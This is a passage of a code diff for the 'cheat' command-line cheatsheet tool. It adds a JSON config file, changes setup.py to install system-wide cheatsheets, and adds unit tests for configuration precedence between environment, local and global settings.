'variable or setting in order to create/edit a cheatsheet.'
)
return self._editor_executable
def open_with_editor(self, filepath):
""" Open `filepath` using the EDITOR specified by the env variables """
editor_cmd = self.editor().split()
try:
subprocess.call(editor_cmd + [filepath])
except OSError:
Utils.die('Could not launch ' + self.editor())
@staticmethod
def warn(message):
""" Prints a message to stderr """
print((message), file=sys.stderr)

5
config/cheat Normal file
View File

@ -0,0 +1,5 @@
{
"CHEAT_COLORS": true,
"CHEAT_EDITOR":"vi",
"CHEAT_PATH":"/usr/share/cheat"
}

View File

@ -1,9 +1,20 @@
from distutils.core import setup from distutils.core import setup
import os import os
# determine the directory in which to install system-wide cheatsheets
# KLUDGE: It would be better to read `/usr/share/cheat` from `config/cheat`
# rather than hard-coding it here
cheat_path = os.environ.get('CHEAT_PATH') or '/usr/share/cheat'
# aggregate the systme-wide cheatsheets
cheat_files = []
for f in os.listdir('cheat/cheatsheets/'):
cheat_files.append(os.path.join('cheat/cheatsheets/',f))
# specify build params
setup( setup(
name = 'cheat', name = 'cheat',
version = '2.3.1', version = '2.4.1',
author = 'Chris Lane', author = 'Chris Lane',
author_email = 'chris@chris-allen-lane.com', author_email = 'chris@chris-allen-lane.com',
license = 'GPL3', license = 'GPL3',
@ -14,15 +25,15 @@ setup(
url = 'https://github.com/chrisallenlane/cheat', url = 'https://github.com/chrisallenlane/cheat',
packages = [ packages = [
'cheat', 'cheat',
'cheat.cheatsheets',
'cheat.test', 'cheat.test',
], ],
package_data = {
'cheat.cheatsheets': [f for f in os.listdir('cheat/cheatsheets') if '.' not in f]
},
scripts = ['bin/cheat'], scripts = ['bin/cheat'],
install_requires = [ install_requires = [
'docopt >= 0.6.1', 'docopt >= 0.6.1',
'pygments >= 1.6.0', 'pygments >= 1.6.0',
] ],
data_files = [
(cheat_path, cheat_files),
('/etc', ['config/cheat']),
],
) )

View File

@ -0,0 +1,86 @@
import unittest2
import os
import shutil
from cheat.configuration import Configuration
def _set_loc_conf(key, value):
_path = os.path.dirname(os.path.abspath(__file__)) + '/home/.config/cheat/cheat'
if value == None:
os.remove(_path)
else:
if not os.path.exists(os.path.dirname(_path)):
os.makedirs(os.path.dirname(_path))
f = open(_path,"w+")
f.write('{"'+ key +'":"'+ value +'"}')
f.close()
def _set_glob_conf(key, value):
_path = os.path.dirname(os.path.abspath(__file__))+ "/etc/cheat"
if value == None:
os.remove(_path)
else:
if not os.path.exists(os.path.dirname(_path)):
os.mkdir(os.path.dirname(_path))
f = open(_path,"w+")
f.write('{"'+ key +'":"'+ value +'"}' )
f.close()
def _set_env_var(key, value):
if value == None:
del os.environ[key]
else:
os.environ[key] = value
def _configuration_key_test(TestConfiguration, key,values, conf_get_method):
for glob_conf in values:
_set_glob_conf(key,glob_conf)
for loc_conf in values:
_set_loc_conf(key,loc_conf)
for env_conf in values:
_set_env_var(key,env_conf)
if env_conf:
TestConfiguration.assertEqual(conf_get_method(Configuration()),env_conf)
elif loc_conf:
TestConfiguration.assertEqual(conf_get_method(Configuration()),loc_conf)
elif glob_conf:
TestConfiguration.assertEqual(conf_get_method(Configuration()),glob_conf)
else:
TestConfiguration.assertEqual(conf_get_method(Configuration()),None)
class ConfigurationTestCase(unittest2.TestCase):
def setUp(self):
os.environ['CHEAT_GLOBAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \
+ '/etc/cheat'
os.environ['CHEAT_LOCAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \
+ '/home/.config/cheat/cheat'
def test_get_editor(self):
_configuration_key_test(self,"EDITOR",["nano","vim","gedit",None],
Configuration.get_editor)
def test_get_cheatcolors(self):
_configuration_key_test(self,"CHEATCOLORS",["true",None],
Configuration.get_cheatcolors)
def test_get_cheatpath(self):
_configuration_key_test(self,"CHEATPATH",["/etc/myglobalcheats",
"/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_cheatpath)
def test_get_defaultcheatdir(self):
_configuration_key_test(self,"DEFAULT_CHEAT_DIR",["/etc/myglobalcheats",
"/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_default_cheat_dir)
def tearDown(self):
shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/etc')
shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/home')